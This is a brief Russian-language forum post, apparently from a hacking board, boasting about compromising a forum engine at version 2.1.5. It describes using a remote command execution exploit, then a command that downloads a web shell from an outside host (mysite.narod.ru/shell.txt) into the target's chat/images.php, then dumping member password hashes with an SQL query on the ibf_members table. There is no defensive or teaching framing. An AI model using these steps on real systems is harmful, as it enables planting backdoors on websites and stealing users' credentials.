Позавчера как раз пришлось эту версию подергать. Сделал всего два шага:
1. скачал сплоит для 2.1.5 - удаленное выполнение команд
2. а потом залил шелл, используя командную строку
GET http://mysite.narod.ru/shell.txt > chat/images.php

Ну а спомощью шелла , бери из мускула хэши (select * from ibf_members) и т.д.